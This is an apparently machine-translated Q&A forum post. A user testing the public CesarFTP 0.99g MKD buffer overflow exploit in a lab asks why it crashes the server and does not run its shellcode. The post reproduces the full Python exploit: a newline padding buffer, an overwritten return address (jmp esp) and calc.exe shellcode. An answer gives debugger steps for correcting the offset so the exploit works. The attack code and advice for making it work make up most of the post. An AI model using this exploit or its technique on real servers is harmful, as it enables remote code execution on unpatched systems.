2012-08-27 28 views
2

我在我的cesarftp正在運行的服務器上測試過。我使用ollydbg在服務器上調試了ftp服務器。我用爲什麼cesarftp python漏洞無效?

該漏洞被http://www.exploit-db.com/exploits/1906/

#!/usr/bin/python 

#CesarFtp 0.99g 0day Exploit 

#Proof of Concept: execute calc.exe 

#Tested on XP sp2 polish 

#Bug found by h07 [[email protected]] 

#Date: 10.06.2006 



from socket import * 



shellcode = (#execute calc.exe <metasploit.com> 

"\x31\xc9\x83\xe9\xdb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xd8" 

"\x22\x72\xe4\x83\xeb\xfc\xe2\xf4\x24\xca\x34\xe4\xd8\x22\xf9\xa1" 

"\xe4\xa9\x0e\xe1\xa0\x23\x9d\x6f\x97\x3a\xf9\xbb\xf8\x23\x99\x07" 

"\xf6\x6b\xf9\xd0\x53\x23\x9c\xd5\x18\xbb\xde\x60\x18\x56\x75\x25" 

"\x12\x2f\x73\x26\x33\xd6\x49\xb0\xfc\x26\x07\x07\x53\x7d\x56\xe5" 

"\x33\x44\xf9\xe8\x93\xa9\x2d\xf8\xd9\xc9\xf9\xf8\x53\x23\x99\x6d" 

"\x84\x06\x76\x27\xe9\xe2\x16\x6f\x98\x12\xf7\x24\xa0\x2d\xf9\xa4" 

"\xd4\xa9\x02\xf8\x75\xa9\x1a\xec\x31\x29\x72\xe4\xd8\xa9\x32\xd0" 

"\xdd\x5e\x72\xe4\xd8\xa9\x1a\xd8\x87\x13\x84\x84\x8e\xc9\x7f\x8c" 

"\x28\xa8\x76\xbb\xb0\xba\x8c\x6e\xd6\x75\x8d\x03\x30\xcc\x8d\x1b" 

"\x27\x41\x13\x88\xbb\x0c\x17\x9c\xbd\x22\x72\xe4") 



def intel_order(i): 

    a = chr(i % 256) 

    i = i >> 8 

    b = chr(i % 256) 

    i = i >> 8 

    c = chr(i % 256) 

    i = i >> 8 

    d = chr(i % 256) 

    str = "%c%c%c%c" % (a, b, c, d) 

    return str 



host = "192.168.0.1" 

port = 21 

user = "ftp" 

password = "ftp" 

EIP = 0x773D10A4 #jmp esp <shell32.dll XP professional sp2 english> 



s = socket(AF_INET, SOCK_STREAM) 

s.connect((host, port)) 

print s.recv(1024) 



s.send("user %s\r\n" % (user)) 

print s.recv(1024) 



s.send("pass %s\r\n" % (password)) 

print s.recv(1024) 



buffer = "MKD " 

buffer += "\n" * 671 

buffer += "A" * 3 + intel_order(EIP) 

buffer += "\x90" * 40 + shellcode 

buffer += "\r\n" 



print "len: %d" % (len(buffer)) 



s.send(buffer) 

print s.recv(1024) 



s.close() 



#EoF 



# milw0rm.com [2006-06-12] 

我改變了「JMP ESP」地址到正確的(因爲服務器運行的不是波蘭XP;它的運行英文XP,我發現這個使用可執行模塊在OllyDbg的和搜索命令「JMP ESP」。)

然而,漏洞未能正確執行,並登錄後,FTP服務器只崩潰,不撫養外殼。

在我看來,該代碼只需要在「JMP ESP」區域..

我做了什麼錯了修改?

編輯:shellcode似乎,如果正確執行,調出calc.exe。這沒有發生。顯然,沒有獲得殼。

+0

明顯的問題:你運行0.99g嗎? –

+0

是的,我願意。我檢查了三次以上:) – user1613156

回答

0

這可能是脆弱的函數不是用strcpy()而是用strcat()複製你的數據。通過反覆試驗編寫漏洞時,這是一個常見的新手錯誤。

由於正在讀取的值應該是一個路徑,所以這裏可能發生的情況是您的字符串被連接到FTP服務器根目錄的路徑。

如果發生這種情況,那麼您不僅必須更改正好的地址,而且還要改變負載字符串中的偏移量(「671」值)。不幸的是,這也意味着利用將取決於知道FTP根的確切位置。

爲了確保您必須附加一個調試器,並在發送有效負載之前和之後查看發生了什麼。請嘗試以下操作:

  1. 將調試器連接到FTP服務器。
  2. 運行漏洞利用。它會使服務器崩潰。
  3. 現在EIP將指向0x90909090或0x0d0d0d0d。檢查堆棧,直到找到有效的代碼指針(父函數的返回地址)。
  4. 現在殺死服務器並重新啓動。
  5. 再次連接調試器,並在您找到的父功能開始處設置斷點。
  6. 再次運行exploit。現在,斷點應該打了。一步一步地運行代碼,直到找到易受攻擊的功能。現在,您可以在粉碎它之前查看哪個函數具有該錯誤以及堆棧的外觀。